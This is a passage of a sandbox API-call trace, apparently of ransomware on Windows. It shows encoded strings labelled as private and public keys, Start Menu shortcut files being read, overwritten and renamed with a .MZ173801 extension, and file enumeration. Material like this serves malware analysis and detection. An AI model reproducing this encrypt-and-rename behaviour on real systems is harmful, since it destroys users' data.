lU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0205.150] GetCurrentThreadId () returned 0xab4 [0205.150] GetCurrentThreadId () returned 0xab4 [0205.150] GetCurrentThreadId () returned 0xab4 [0205.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0205.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0205.151] GetCurrentThreadId () returned 0xab4 [0205.151] GetCurrentThreadId () returned 0xab4 [0205.151] GetCurrentThreadId () returned 0xab4 [0205.152] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0205.152] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0205.152] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0205.152] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x974 [0205.152] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0205.152] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x974, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x974, lpOverlapped=0x0) returned 1 [0205.159] CloseHandle (hObject=0x328) returned 1 [0205.160] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0205.392] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x974, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x974, lpOverlapped=0x0) returned 1 [0205.393] CloseHandle (hObject=0x328) returned 1 [0205.661] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Access 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\access 2016.lnk.mz173801")) returned 1 [0206.091] GetCurrentThreadId () returned 0xab4 [0206.091] GetCurrentThreadId () returned 0xab4 [0206.091] GetCurrentThreadId () returned 0xab4 [0206.091] GetCurrentThreadId () returned 0xab4 [0206.091] GetCurrentThreadId () returned 0xab4 [0206.091] GetCurrentThreadId () returned 0xab4 [0206.091] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc23497a5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a94a259, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0206.091] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc234b032, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x47011dad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Accessories", cAlternateFileName="ACCESS~2")) returned 1 [0206.091] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b1d2da, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2eb3f5a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2eda1a5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0206.091] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0206.091] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0206.091] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38b1d2da, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2eb3f5a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2eda1a5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x999)) returned 1 [0206.093] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk")) returned 0x20 [0206.093] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk", dwFileAttributes=0x80) returned 1 [0206.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0206.283] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0won